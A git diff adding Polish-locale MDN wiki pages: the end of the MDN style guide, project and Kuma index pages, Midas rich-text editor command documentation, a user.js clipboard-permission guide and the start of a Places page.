+ <li><span class="correct"><strong>Correct</strong></span>: Click the Edit button.</li>
+ <li><span class="incorrect"><strong>Incorrect</strong></span>: Click Edit.</li>
+</ul>
+
+<h3 id="Voice">Voice</h3>
+
+<p>While the active voice is generally preferred, the passive voice is also acceptable, given the informal feel of our content. Try to be consistent, though.</p>
+
+<h2 id="Wiki_markup_and_usage">Wiki markup and usage</h2>
+
+<h3 id="External_links">External links</h3>
+
+<p>To automatically create a link to a Bugzilla bug, use this template:</p>
+
+<pre class="notranslate">\{{Bug(322603)}}
+</pre>
+
+<p>This results in:</p>
+
+<p>{{Bug(322603)}}</p>
+
+<p>For WebKit bugs, you can use this template:</p>
+
+<pre class="notranslate">\{{Webkitbug("322603")}}
+</pre>
+
+<p>This results in:</p>
+
+<p>{{Webkitbug("322603")}}</p>
+
+<h3 id="Page_tags">Page tags</h3>
+
+<p>Tags provide meta information about a page and/or indicate that a page has specific improvements needed to its content. Every page in the wiki should have tags. You can find details on tagging in our <a href="/en-US/docs/MDN/Contribute/Howto/Tag">How to properly tag pages</a> guide.</p>
+
+<p>The tagging interface lives at the bottom of a page while you're in edit mode, and looks something like this:</p>
+
+<p><img alt="Screenshot of the UX for adding and removing tags on MDN" src="https://mdn.mozillademos.org/files/7859/tag-interface.png" style="border-style: solid; border-width: 1px; height: 167px; width: 863px;"></p>
+
+<p>To add a tag, click in the edit box at the end of the tag list and type the tag name you wish to add. Tags will autocomplete as you type. Press enter (or return) to submit the new tag. Each article may have as many tags as needed. For example, an article about using JavaScript in AJAX programming might have both "JavaScript" and "AJAX" as tags.</p>
+
+<p>To remove a tag, simply click the little "X" icon in the tag.</p>
+
+<h4 id="Tagging_pages_that_need_work">Tagging pages that need work</h4>
+
+<p>In addition to using tags to track information about the documentation's quality and content, we also use them to mark articles as needing specific types of work.</p>
+
+<h4 id="Tagging_obsolete_pages">Tagging obsolete pages</h4>
+
+<p>Use the following tags for pages that are not current:</p>
+
+<ul>
+ <li><em>Junk</em>: Use for spam, pages created by mistake, or content that is so bad that it should be deleted. Pages with this tag are deleted from time to time.</li>
+ <li><em>Obsolete</em>: Use for content that is technically superceded, but still valid in context. For example an HTML element that is obsolete in HTML5 is still valid in HTML 4.01. You can also use the <span class="nowiki">{{TemplateLink("obsolete_header")}}</span> macro to put a prominent banner on the topic.</li>
+ <li><em>Archive</em>: Use for content that is technically superceded and no longer useful. If possible, add a note to the topic referring readers to a more current topic. For example, a page that describes how to use the Mozilla CVS repository should refer readers to a current topic on using Mercurial repos. (If no corresponding current topic exists, use the <em>NeedsUpdate</em> tag, and add an explanation on the Talk page.) Pages with the Archive tag are eventually moved from the main content of MDN to the <a href="/en-US/docs/Archive">Archive</a> section.</li>
+</ul>
+
+<h3 id="SEO_summary">SEO summary</h3>
+
+<p>The SEO summary is a very short summary of the page. It will be reported as a summary of the article to robots crawling the site, and will then appear in search results for the page. It is also used by macros that automate the construction of landing pages inside MDN itself.</p>
+
+<p>By default, the first pagragraph of the page is used as the SEO summary. However you can override this behavior by marking a section with the <a href="/en-US/docs/Project:MDN/Contributing/Editor_guide/Editing#Formatting_styles">"SEO summary" style in the WYSIWYG editor</a>.</p>
+
+<h3 id="Landing_pages">Landing pages</h3>
+
+<p><strong>Landing pages</strong> are pages at the root of a topic area of the site, such as the main <a href="/en-US/docs/CSS" title="CSS">CSS</a> or <a href="/en-US/docs/HTML" title="HTML">HTML</a> pages. They have a standard format that consists of three areas:</p>
+
+<ol>
+ <li>A brief (typically one paragraph) overview of what the technology is and what it's used for. See {{anch("Writing a landing page overview")}} for tips.</li>
+ <li>A two-column list of links with appropriate headings. See {{anch("Creating a page link list")}} for guidelines.</li>
+ <li>An <strong>optional</strong> "Browser compatibility" section at the bottom of the page.</li>
+</ol>
+
+<h4 id="Creating_a_page_link_list">Creating a page link list</h4>
+
+<p>The link list section of an MDN landing page consists of two columns. These are created using the following HTML:</p>
+
+<pre class="brush: html notranslate">&lt;div class="row topicpage-table"&gt;
+ &lt;div class="section"&gt;
+ ... left column contents ...
+ &lt;/div&gt;
+ &lt;div class="section"&gt;
+ ... right column contents ...
+ &lt;/div&gt;
+&lt;/div&gt;</pre>
+
+<p>The left-hand column should be a list of articles, with an <code>&lt;h2&gt;</code> header at the top of the left column explaining that it's a list of articles about the topic (for example "Documentation and tutorials about foo"); this header should use the CSS class "Documentation". Below that is a <code>&lt;dl&gt;</code> list of articles, with each article's link in a <code>&lt;dt&gt;</code> block and a brief one-or-two sentence summary of the article in the corresponding <code>&lt;dd&gt;</code> block.</p>
+
+<p>The right-hand column should contain one or more of the following sections, in order:</p>
+
+<dl>
+ <dt>Getting help from the community</dt>
+ <dd>This should provide information on Matrix chat rooms and mailing lists available about the topic. The heading should use the class "Community".</dd>
+ <dt>Tools</dt>
+ <dd>A list of tools the user can look at to help with the use of the technology described in this section of MDN. The heading should use the class "Tools".</dd>
+ <dt>Related topics</dt>
+ <dd>A list of links to landing pages for other, related, technologies of relevance. The heading should use the class "Related_Topics".</dd>
+</dl>
+
+<p><strong>&lt;&lt;&lt;finish this once we finalize the landing page standards&gt;&gt;&gt;</strong></p>
+
+<h2 id="Using_inserting_images">Using, inserting images</h2>
+
+<p>It's sometimes helpful to provide an image in an article you create or modify, especially if the article is very technical. To include an image:</p>
+
+<ol>
+ <li>Attach the desired image file to the article (at the bottom of every article in edit mode)</li>
+ <li>Create an image in the WYSIWYG editor</li>
+ <li>In the WYSIWYG editor in the drop-down list listing attachments, select the newly created attachment which is your image</li>
+ <li>Press OK.</li>
+</ol>
+
+<h2 id="Other_References">Other References</h2>
+
+<h3 id="Preferred_style_guides" name="Preferred_style_guides">Preferred style guides</h3>
+
+<p>If you have questions about usage and style not covered here, we recommend referring to the <a href="http://www.economist.com/research/StyleGuide/">Economist style guide</a> or, failing that, the <a href="http://www.amazon.com/gp/product/0226104036/">Chicago Manual of Style</a>.</p>
+
+<h3 id="Preferred_dictionary" name="Preferred_dictionary">Preferred dictionary</h3>
+
+<p>For questions of spelling, please refer to <a href="http://www.answers.com/library/Dictionary">Answers.com</a>. The spell-checker for this site uses American English. Please do not use variant spellings (e.g., use <em>honor</em> rather than <em>honour</em>).</p>
+
+<p>We will be expanding the guide over time, so if you have specific questions that aren't covered in this document, please send them to the <a href="/en-US/docs/Project:Community" title="Project:en/Community">MDC mailing list</a> or <a href="/User:Sheppy" title="User:Sheppy">project lead</a> so we know what should be added.</p>
+
+<h3 id="MDC-specific" name="MDC-specific">MDN-specific</h3>
+
+<ul>
+ <li><a href="/en-US/docs/Project:Custom_CSS_Classes" title="Project:en/Custom_CSS_Classes">Custom CSS classes</a> defined for all MDC pages.</li>
+ <li><a href="/en-US/docs/Project:Custom_Templates" title="Project:en/Custom_Templates">Custom templates</a> created for use on MDC, with explanations.</li>
+</ul>
+
+<h3 id="Other_resources" name="Other_resources">Language, grammar, spelling</h3>
+
+<p>If you're interested in improving your writing and editing skills, you may find the following resources to be helpful.</p>
+
+<ul>
+ <li><a href="http://www.amazon.com/Writing-Well-30th-Anniversary-Nonfiction/dp/0060891548">On Writing Well</a>, by William Zinsser (Amazon link)</li>
+ <li><a href="http://www.amazon.com/Style-Basics-Clarity-Grace-4th/dp/0205830765/" title="http://www.amazon.com/Style-Lessons-Clarity-Grace-Edition/dp/0321898680">Style: The Basics of Clarity and Grace</a>, by Joseph Williams and Gregory Colomb (Amazon link)</li>
+ <li><a href="http://www.bartleby.com/64/">American Heritage Book of English Usage</a></li>
+ <li><a href="http://www.wsu.edu/~brians/errors/">Common Errors in English</a></li>
+ <li><a href="http://www-personal.umich.edu/~jlawler/aue.html">English Grammar FAQ</a> (alt.usage.english)</li>
+ <li><a href="http://www.angryflower.com/bobsqu.gif">Bob's quick guide to the apostrophe, you idiots</a> (funny)</li>
+ <li><a href="http://www.amazon.com/Merriam-Websters-Concise-Dictionary-English-Usage/dp/B004L2KNI2" title="http://www.amazon.com/Merriam-Websters-Concise-Dictionary-English-Usage/dp/B004L2KNI2">Merriam-Webster's Concise Dictionary of English Usage</a> (Amazon link): Scholarly but user-friendly, evidence-based advice; very good for non-native speakers, especially for preposition usage.</li>
+</ul>
diff --git a/files/pl/mdn/index.html b/files/pl/mdn/index.html
new file mode 100644
index 0000000000..e744a4f5e5
--- /dev/null
+++ b/files/pl/mdn/index.html
@@ -0,0 +1,32 @@
+---
+title: Projekt MDN
+slug: MDN
+tags:
+ - Dokumentacja
+ - MDN
+ - Pomoc
+ - Współpraca
+translation_of: MDN
+---
+<div>{{MDNSidebar}}</div>
+
+<p><strong>Mozilla Developer Network</strong> (MDN) to wiki, na której możemy udokumentować otwartą sieć internetową, technologie Mozilli, Firefox OS i inne tematy deweloperów. Każdy jest mile widziany aby dodawać i edytować treści. Nie musisz być programistą lub wiedzieć dużo o technologii; istnieje wiele różnych zadań, które muszą zostać wykonane - od tych łatwych (korekta i poprawianie literówek) do skomplikowanych (redagowanie dokumentacji API). </p>
+
+<div class="summary">
+<p>Celem projektu MDN jest udokumentowanie otwartej sieci internetowej, technologii i projektów Mozilli. Zapraszamy Cię do pomocy!</p>
+</div>
+
+<p>Potrzebujemy Twojej pomocy! To łatwe. Nie przejmuj się pytać o zezwolenie czy o możliwość popełnienia błędów. Z drugiej strony, należy poznać <a href="/pl/docs/MDN/Community" title="/pl/docs/MDN/Community">społeczność MDN</a>; jesteśmy tutaj by Ci pomóc!</p>
+
+<ul class="card-grid">
+ <li><span><a class="new" href="/pl/docs/MDN/Quick_start" rel="nofollow">Jestem tu nowy</a></span>
+
+ <p>Jesteś nowy w MDN i chcesz nauczyć się jak pomóc zrobić to lepiej? Zacznij tutaj!</p>
+ </li>
+ <li><span><a href="/pl/docs/MDN/Contribute">Jestem zaawansowanym użytkownikiem</a></span>
+ <p>Czy jest Ci wygodnie z podstawami współpracy z MDN i chcesz nauczyć się więcej? Czytaj dalej!</p>
+ </li>
+ <li><span><a class="new" href="/pl/docs/MDN/Promote" rel="nofollow">Szerz ideę</a></span>
+ <p>Jeśli kochasz MDN, pomóż głosić słowo! Znajdź dzieła, narzędzia i poradniki do promocji MDN.</p>
+ </li>
+</ul>
diff --git a/files/pl/mdn/kuma/index.html b/files/pl/mdn/kuma/index.html
new file mode 100644
index 0000000000..6c2be0c158
--- /dev/null
+++ b/files/pl/mdn/kuma/index.html
@@ -0,0 +1,25 @@
+---
+title: 'Kuma: MDN''s wiki platform'
+slug: MDN/Kuma
+tags:
+ - Kuma
+ - MDN Meta
+translation_of: MDN/Kuma
+---
+<div>{{MDNSidebar}}</div>
+
+<div>{{IncludeSubnav("/en-US/docs/MDN")}}</div>
+
+<p>Kuma jest kodem Django, który zasila MDN Web Docs.</p>
+
+<p>{{SubpagesWithSummaries}}</p>
+
+<h2 id="Zaangażuj_się_Kuma"><span class="short_text" id="result_box" lang="pl"><span>Zaangażuj</span> <span>się</span> <span>Kuma</span></span></h2>
+
+<p><span class="short_text" id="result_box" lang="pl"><span>Aby</span> <span>zaangażować się w</span> <span>Kuma:</span></span></p>
+
+<ul>
+ <li>Odwiedż <a href="https://github.com/mozilla/kuma">Kuma project on Github</a>.</li>
+ <li> <span class="short_text" id="result_box" lang="pl"><span>Zapoznaj się z </span></span><a href="https://github.com/mozilla/kuma/blob/master/CONTRIBUTING.md">Contribution Guide.</a></li>
+ <li><span class="short_text" id="result_box" lang="pl"><span>W razie potrzeby zapoznaj się z pełną dokumentacją</span> <span>Kuma</span><span>.</span></span></li>
+</ul>
diff --git a/files/pl/mdn/user_guide/index.html b/files/pl/mdn/user_guide/index.html
new file mode 100644
index 0000000000..f922e7ddd5
--- /dev/null
+++ b/files/pl/mdn/user_guide/index.html
@@ -0,0 +1,7 @@
+---
+title: MDN user guide
+slug: MDN/User_guide
+translation_of: MDN/Tools
+---
+<div>{{MDNSidebar}}</div><p>The Mozilla Developer Network site is an advanced system for finding, reading, and contributing to documentation and sample code for Web developers (as well as for Firefox and Firefox OS developers). The MDN user guide provides articles detailing how to use MDN to find the documentation you need, and, if you wish, how to help make the material better, more expansive, and more complete.</p>
+&lt;&gt;
diff --git a/files/pl/midas/index.html b/files/pl/midas/index.html
new file mode 100644
index 0000000000..2a0e9bba60
--- /dev/null
+++ b/files/pl/midas/index.html
@@ -0,0 +1,330 @@
+---
+title: Midas
+slug: Midas
+tags:
+ - DOM
+ - Midas
+ - NeedsContent
+ - NeedsHelp
+ - NeedsTechnicalReview
+ - NeedsTranslation
+ - TopicStub
+ - needsattention
+translation_of: Mozilla/Projects/Midas
+---
+<h2 id="Introduction" name="Introduction">Introduction</h2>
+
+<p>Midas is the code name for Gecko's built-in rich text editor. Midas can be enabled via JavaScript on an HTML document. When Midas is enabled, the document becomes editable by the user. Scripting for Midas is based on the <a href="http://msdn.microsoft.com/en-us/library/ms533049.aspx">DHTML commands</a> supported by Internet Explorer. Internet Explorer supports the ability to make an entire document editable by setting the <code>designMode</code> property of the {{domxref("document")}} object; this is how Midas is invoked in Gecko. Internet Explorer also supports the ability to edit specific elements using the <code>contentEditable</code> attribute; Starting with Firefox 3, Gecko also supports <code>contentEditable</code>. Once Midas is invoked, a few more methods of the <code>document</code> object become available.</p>
+
+<h2 id="Properties" name="Properties">Properties</h2>
+
+<dl>
+ <dt><a href="/en-US/docs/Midas/designMode">document.designMode</a></dt>
+ <dd>By setting this property to "on", the document becomes editable.</dd>
+</dl>
+
+<h2 id="Notes" name="Notes">Notes</h2>
+
+<p>Since an entire document becomes editable, authors often load the editable document into an <code>IFRAME</code> and do the bulk of the scripting in the parent document. According to <a href="http://www.w3.org/TR/2003/REC-DOM-Level-2-HTML-20030109/html.html#ID-50708718">standards</a>, The <code>IFRAME</code> element has the <code>contentDocument</code> property that refers to the document in the inline frame. It also has a property called <code>contentWindow</code> that refers to the window object inside the inline frame. This also avoids problems with {{bug(198155)}}.</p>
+
+<p>In addition to the built-in commands, advanced editing can be done by manipulating the {{domxref("Selection")}} and {{domxref("range")}} objects. It is beneficial to be familiar with these objects when working with an editable document.</p>
+
+<h2 id="Examples" name="Examples">Examples</h2>
+
+<p>This example shows the basic structure described in the Notes section :</p>
+
+<pre>&lt;html&gt;
+ &lt;head&gt;
+ &lt;title&gt;Simple Edit Box&lt;/title&gt;
+ &lt;/head&gt;
+ &lt;body&gt;
+ &lt;iframe
+ id="MidasForm"
+ src="about:blank"
+ onload="this.contentDocument.designMode='on';"
+ &gt;&lt;/iframe&gt;
+ &lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<h2 id="Methods" name="Methods">Methods</h2>
+
+<dl>
+ <dt>{{domxref("Document.execCommand")}}</dt>
+ <dd>Executes the given command.</dd>
+ <dt>{{domxref("Document.queryCommandEnabled")}}</dt>
+ <dd>Determines whether the given command can be executed on the document in its current state.</dd>
+ <dt>{{domxref("Document.queryCommandIndeterm")}}</dt>
+ <dd>Determines whether the current selection is in an indetermined state.</dd>
+ <dt>{{domxref("Document.queryCommandState")}}</dt>
+ <dd>Determines whether the given command has been executed on the current selection.</dd>
+ <dt>{{domxref("Document.queryCommandValue")}}</dt>
+ <dd>Determines the current value of the document, range, or current selection for the given command.</dd>
+</dl>
+
+<h2 id="Supported_Commands" name="Supported_Commands">Supported Commands</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <td class="header">Command</td>
+ <td class="header">Value</td>
+ <td class="header">Description</td>
+ </tr>
+ <tr>
+ <td>backcolor</td>
+ <td>A color code.</td>
+ <td>This command will set the background color of the document.</td>
+ </tr>
+ <tr>
+ <td>bold</td>
+ <td> </td>
+ <td>If there is no selection, the insertion point will set bold for subsequently typed characters.
+ <p>If there is a selection and all of the characters are already bold, the bold will be removed. Otherwise, all selected characters will become bold.</p>
+ </td>
+ </tr>
+ <tr>
+ <td>contentReadOnly</td>
+ <td> </td>
+ <td>This command will make the editor readonly(true)or editable(false). Anticipated usage is for temporarily disabling input while something else is occurring elsewhere in the web page.</td>
+ </tr>
+ <tr>
+ <td>copy</td>
+ <td> </td>
+ <td>If there is a selection, this command will copy the selection to the clipboard. If there isn't a selection, nothing will happen.
+ <p>note: this command won't work without setting a pref or using signed JS. See: <a href="http://www.mozilla.org/editor/midasdemo/securityprefs.html">more about security preferences</a></p>
+
+ <p>note: the shortcut key will automatically trigger this command (typically accel-C) with or without the signed JS or any code on the page to handle it.</p>
+ </td>
+ </tr>
+ <tr>
+ <td>createlink</td>
+ <td>A URI.</td>
+ <td>This command will not do anything if no selection is made. If there is a selection, a link will be inserted around the selection with the url parameter as the href of the link.</td>
+ </tr>
+ <tr>
+ <td>cut</td>
+ <td> </td>
+ <td>If there is a selection, this command will copy the selection to the clipboard and remove the selection from the edit control. If there isn't a selection, nothing will happen.
+ <p>note: this command won't work without setting a pref or using signed JS. See: <a href="http://www.mozilla.org/editor/midasdemo/securityprefs.html">more about security preferences</a></p>
+
+ <p>note: the shortcut key will automatically trigger this command (typically accel-X) with or without the signed JS or any code on the page to handle it.</p>
+ </td>
+ </tr>
+ <tr>
+ <td>decreasefontsize</td>
+ <td> </td>
+ <td>This command will add a &lt;small&gt; tag around selection or at insertion point.</td>
+ </tr>
+ <tr>
+ <td>delete</td>
+ <td> </td>
+ <td>This command will delete all text and objects that are selected. If no text is selected it deletes one character to the right. This is similar to the <em>Delete</em> button on the keyboard.</td>
+ </tr>
+ <tr>
+ <td>fontname</td>
+ <td>A font name</td>
+ <td>This command will set the font face for a selection or at the insertion point if there is no selection.
+ <p>The given string is such as would be used in the "face" attribute of the font tag, i.e., a comma-separated list of font names.</p>
+ </td>
+ </tr>
+ <tr>
+ <td>fontsize</td>
+ <td>A number</td>
+ <td>This command will set the fontsize for a selection or at the insertion point if there is no selection.
+ <p>The given number is such as would be used in the "size" attribute of the font tag.</p>
+ </td>
+ </tr>
+ <tr>
+ <td>forecolor</td>
+ <td>A color code</td>
+ <td>This command will set the text color of the selection or at the insertion point.</td>
+ </tr>
+ <tr>
+ <td>formatblock</td>
+ <td>H1, H2, H3, H4, H5, H6, P, DIV, ADDRESS, BLOCKQUOTE (more?)</td>
+ <td>The selection surrounded by the given block element.</td>
+ </tr>
+ <tr>
+ <td>heading</td>
+ <td>H1, H2, H3, H4, H5, H6</td>
+ <td>Selected block will be formatted as the given type of heading.</td>
+ </tr>
+ <tr>
+ <td>hilitecolor</td>
+ <td>A color code</td>
+ <td>This command will set the hilite color of the selection or at the insertion point. It only works with styleWithCSS enabled.</td>
+ </tr>
+ <tr>
+ <td>increasefontsize</td>
+ <td> </td>
+ <td>This command will add a &lt;big&gt; tag around selection or at insertion point.</td>
+ </tr>
+ <tr>
+ <td>indent</td>
+ <td> </td>
+ <td>Indent the block where the caret is located. If the caret is inside a list, that item becomes a sub-item one level deeper.</td>
+ </tr>
+ <tr>
+ <td>insertbronreturn</td>
+ <td>true/false</td>
+ <td>Selects whether pressing return inside a paragraph creates another paragraph or just inserts a &lt;br&gt; tag.</td>
+ </tr>
+ <tr>
+ <td>inserthorizontalrule</td>
+ <td>null/string (when string is the Line's id)</td>
+ <td>This command will insert a horizontal rule (line) at the insertion point.
+ <p>Does it delete the selection? Yes!</p>
+ </td>
+ </tr>
+ <tr>
+ <td>inserthtml</td>
+ <td>A string.</td>
+ <td>This command will insert the given html into the &lt;body&gt; in place of the current selection or at the caret location.
+ <p>The given string is the HTML to insert.</p>
+ </td>
+ </tr>
+ <tr>
+ <td>insertimage</td>
+ <td>A URI.</td>
+ <td>This command will insert an image (referenced by the given url) at the insertion point.</td>
+ </tr>
+ <tr>
+ <td>insertorderedlist</td>
+ <td> </td>
+ <td>Depends on the selection. If the caret is not inside a non-LI block, that block becomes the first LI and an OL. If the caret is inside a bulleted item, the bulleted item becomes a numbered item.</td>
+ </tr>
+ <tr>
+ <td>insertunorderedlist</td>
+ <td> </td>
+ <td>Depends on the selection. If the caret is not inside a non-LI block, that block becomes the first LI and UL. If the caret is inside a numbered item, the numbered item becomes a bulleted item.</td>
+ </tr>
+ <tr>
+ <td>insertparagraph</td>
+ <td> </td>
+ <td>Inserts a new paragraph.</td>
+ </tr>
+ <tr>
+ <td>italic</td>
+ <td> </td>
+ <td>If there is no selection, the insertion point will set italic for subsequently typed characters.
+ <p>If there is a selection and all of the characters are already italic, the italic will be removed. Otherwise, all selected characters will become italic.</p>
+ </td>
+ </tr>
+ <tr>
+ <td>justifycenter</td>
+ <td> </td>
+ <td>Center-aligns the current block.</td>
+ </tr>
+ <tr>
+ <td>justifyfull</td>
+ <td> </td>
+ <td>Fully-justifies the current block.</td>
+ </tr>
+ <tr>
+ <td>justifyleft</td>
+ <td> </td>
+ <td>Left-aligns the current block.</td>
+ </tr>
+ <tr>
+ <td>justifyright</td>
+ <td> </td>
+ <td>Right aligns the current block.</td>
+ </tr>
+ <tr>
+ <td>outdent</td>
+ <td> </td>
+ <td>Outdent the block where the caret is located. If the block is not indented prior to calling outdent, nothing will happen.
+ <p>If the caret is in a list item, the item will bump up a level in the list or break out of the list entirely.</p>
+ </td>
+ </tr>
+ <tr>
+ <td>paste</td>
+ <td> </td>
+ <td>This command will paste the contents of the clipboard at the location of the caret. If there is a selection, it will be deleted prior to the insertion of the clipboard's contents.
+ <p>note: this command won't work without setting a pref or using signed JS. user_pref("capability.policy.policynames", "allowclipboard"); user_pref("capability.policy.allowclipboard.Clipboard.paste", "allAccess"); See: <a href="http://www.mozilla.org/editor/midasdemo/securityprefs.html">more about security preferences</a></p>
+
+ <p>note: the shortcut key will automatically trigger this command (typically accel-V) with or without the signed JS or any code on the page to handle it.</p>
+ </td>
+ </tr>
+ <tr>
+ <td>redo</td>
+ <td> </td>
+ <td>This command will redo the previous undo action. If undo was not the most recent action, this command will have no effect.
+ <p>note: the shortcut key will automatically trigger this command (typically accel-shift-Z)</p>
+ </td>
+ </tr>
+ <tr>
+ <td>removeformat</td>
+ <td> </td>
+ <td>Removes inline formatting from the current selection.</td>
+ </tr>
+ <tr>
+ <td>selectall</td>
+ <td> </td>
+ <td>This command will select all of the contents within the editable area.
+ <p>note: the shortcut key will automatically trigger this command (typically accel-A)</p>
+ </td>
+ </tr>
+ <tr>
+ <td>strikethrough</td>
+ <td> </td>
+ <td>If there is no selection, the insertion point will set strikethrough for subsequently typed characters.
+ <p>If there is a selection and all of the characters are already striked, the strikethrough will be removed. Otherwise, all selected characters will have a line drawn through them.</p>
+ </td>
+ </tr>
+ <tr>
+ <td>styleWithCSS</td>
+ <td> </td>
+ <td>This command is used for toggling the format of generated content. By default (at least today), this is true. An example of the differences is that the "bold" command will generate &lt;b&gt; if the styleWithCSS command is false and generate css style attribute if the styleWithCSS command is true.</td>
+ </tr>
+ <tr>
+ <td>subscript</td>
+ <td> </td>
+ <td>If there is no selection, the insertion point will set subscript for subsequently typed characters.
+ <p>If there is a selection and all of the characters are already subscripted, the subscript will be removed. Otherwise, all selected characters will be drawn slightly lower than normal text.</p>
+ </td>
+ </tr>
+ <tr>
+ <td>superscript</td>
+ <td> </td>
+ <td>If there is no selection, the insertion point will set superscript for subsequently typed characters.
+ <p>If there is a selection and all of the characters are already superscripted, the superscript will be removed. Otherwise, all selected characters will be drawn slightly higher than normal text.</p>
+ </td>
+ </tr>
+ <tr>
+ <td>underline</td>
+ <td> </td>
+ <td>If there is no selection, the insertion point will set underline for subsequently typed characters.
+ <p>If there is a selection and all of the characters are already underlined, the underline will be removed. Otherwise, all selected characters will become underlined.</p>
+ </td>
+ </tr>
+ <tr>
+ <td>undo</td>
+ <td> </td>
+ <td>This command will undo the previous action. If no action has occurred in the document, then this command will have no effect.
+ <p>note: the shortcut key will automatically trigger this command (typically accel-Z)</p>
+ </td>
+ </tr>
+ <tr>
+ <td>unlink</td>
+ <td> </td>
+ <td>If the insertion point is within a link or if the current selection contains a link, the link will be removed and the text will remain.</td>
+ </tr>
+ <tr>
+ <td colspan="3">{{Deprecated_header}}</td>
+ </tr>
+ <tr>
+ <td>readonly</td>
+ <td> </td>
+ <td>This command has been replaced with contentReadOnly. It takes the same values as contentReadOnly, but the meaning of true and false are inversed.</td>
+ </tr>
+ <tr>
+ <td>useCSS</td>
+ <td> </td>
+ <td>This command has been replaced with styleWithCSS. It takes the same values as styleWithCSS, but the meaning of true and false are inversed.</td>
+ </tr>
+ </tbody>
+</table>
+
+<p> </p>
diff --git a/files/pl/midas/security_preferences/index.html b/files/pl/midas/security_preferences/index.html
new file mode 100644
index 0000000000..79a5d00b3f
--- /dev/null
+++ b/files/pl/midas/security_preferences/index.html
@@ -0,0 +1,63 @@
+---
+title: Security preferences
+slug: Midas/Security_preferences
+translation_of: Mozilla/Projects/Midas/Security_preferences
+---
+<p>To protect users' private information, unprivileged scripts cannot invoke the Cut, Copy, and Paste commands in the Mozilla rich text editor, so the corresponding buttons on the Mozilla Rich Text Editing demo page will not work. To enable these functions for purposes of the demo, you must modify your browser preferences.</p>
+
+<p>For Firefox:</p>
+
+<ol>
+ <li>Quit Firefox. If you have Quick Launch running (in Windows, an icon in the toolbar), quit that too.</li>
+ <li><a class="external" href="http://support.mozilla.com/en-US/kb/Profiles">Find your Firefox profile directory</a>.</li>
+ <li>Open the <code class="filename">user.js</code> file from that directory in a text editor. If there's no user.js file, create one.</li>
+ <li>Add these lines to <code class="filename">user.js</code>:
+ <pre class="code"><span class="diff_sub">u</span><span class="diff_sub">ser_pref("capability.policy.policynames", "allowclipboard");
+user_pref("capability.policy.allowclipboard.sites",
+"https://www.mozilla.org");
+user_pref("capability.policy.allowclipboard.Clipboard.cutcopy", "allAccess");
+user_pref("capability.policy.allowclipboard.Clipboard.paste", "allAccess");</span><span class="diff_sub">ser_pref("capability.policy.policynames", "allowclipboard");
+</span><span class="diff_sub">user_pref("capability.policy.allowclipboard.sites",
+"https://www.mozilla.org</span><span class="diff_sub">");
+</span><span class="diff_sub">user_pref("capability.policy.allowclipboard.Clipboard.cutcopy", "</span><span class="diff_sub">allAccess");</span>
+<span class="diff_sub">user_pref("capability.policy.allowclipboard.Clipboard.paste", "al</span><span class="diff_sub">lAccess");</span></pre>
+ </li>
+ <li>Change the url <span class="external"><code class="url">https://www.mozilla.org</code></span> to the site for which you want to enable this function.</li>
+ <li>Save the file, and restart Firefox. The Clipboard buttons should now function.</li>
+</ol>
+
+<div class="note"><strong>Note:</strong> The preference is site as well as protocol specific. For example:
+
+<pre>user_pref("capability.policy.allowclipboard.sites", "http://www.mozilla.org")</pre>
+
+<p>is not the same as:</p>
+
+<pre>user_pref("capability.policy.allowclipboard.sites", "https://www.mozilla.org")</pre>
+
+<p>This is because the first uses HTTP while the second uses HTTPS.</p>
+</div>
+
+<p>If you want to allow multiple URLs to access the Paste operation, separate the URLs with a space. For example:</p>
+
+<pre>user_pref("capability.policy.allowclipboard.sites",
+ "https://www.mozilla.org https://developer.mozilla.org")
+</pre>
+
+<dl>
+ <dt>For more information about security policies, see <a class="external" href="http://www.mozilla.org/projects/security/components/ConfigPolicy.html">http://www.mozilla.org/projects/security/components/ConfigPolicy.html</a>.</dt>
+</dl>
+
+
+
+
+
+
+
+
+
+
+
+
+
+<ul>
+</ul>
diff --git a/files/pl/miejsca/index.html b/files/pl/miejsca/index.html
new file mode 100644
index 0000000000..1654476d54
--- /dev/null
+++ b/files/pl/miejsca/index.html
@@ -0,0 +1,67 @@
+---
+title: Miejsca
+slug: Miejsca
+tags:
+ - Dodatki
+ - Firefox 3
+ - Miejsca
+ - Programowanie_Mozilli
+ - Rozszerzenia
+ - Strony_wymagające_dopracowania
+ - Wszystkie_kategorie
+translation_of: Mozilla/Tech/Places
+---
+<p> Miejsca są ulepszeniem systemu zakładek i historii Firefoksa. Wprowadzają one znacznie większą elastyczność i oferują możliwość kompleksowego wyszukiwania.  Poza tym, zawierają  kilka nowych funkcji, takich jak przechowywanie favicon ,czy możliwość dodawania własnych adnotacji do stron.It also includes a lot of new UI, which is not covered in this developer documentation (zobacz <a class="wikimo" href="https://wiki.mozilla.org/Places" title="the non-developer wiki on Places">the non-developer wiki on Places</a>).</p>
+
+<p>Miejsca przechowujące dane w bazie danych <a class="external" href="http://sqlite.org/">sqlite</a> używają interfejsów <a href="/pl/Storage" title="pl/Storage">mozStorage</a>.</p>
+
+<h2 id="Tematy" name="Tematy">Tematy</h2>
+
+<dl>
+ <dt><a href="/pl/Miejsca/System_zapytań" title="pl/Miejsca/System_zapytań">System zapytań</a></dt>
+ <dd>Jak używać dla zakładek i historii systemu zapytań z określonymi parametrami.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/pl/Miejsca/Dostęp_do_zakładek" title="pl/Miejsca/Dostęp_do_zakładek">Dostęp do zakładek</a></dt>
+ <dd>Jak uzyskać dostęp do zakładek?</dd>
+</dl>
+
+<dl>
+ <dt><a href="/pl/Miejsca/Kontenery_użytkownika" title="pl/Miejsca/Kontenery_użytkownika">Kontenery użytkownika</a></dt>
+ <dd>Jak stworzyć kontener użytkownika to show links from a third party source in the Places views.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/pl/Miejsca/Widoki" title="pl/Miejsca/Widoki">Widoki</a></dt>
+ <dd>Jak tworzyć i konfigurować widoki miejsc w twoich własnych aplikacjach i rozszerzeniach.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/pl/Miejsca/Instantiating_Views" title="pl/Miejsca/Instantiating_Views">Instantiating Views</a></dt>
+ <dd>How to instantiate a control with a built-in places view for use in your extension or application.</dd>
+</dl>
+
+<h2 id="Dokumentacja_us.C5.82ug_API" name="Dokumentacja_us.C5.82ug_API">Dokumentacja usług API</h2>
+
+<dl>
+ <dt><a href="/pl/Miejsca/Usługa_historii" title="pl/Miejsca/Usługa_historii">Usługa historii</a></dt>
+ <dt><a href="/pl/Miejsca/Usługa_zakładek" title="pl/Miejsca/Usługa_zakładek">Usługa zakładek</a></dt>
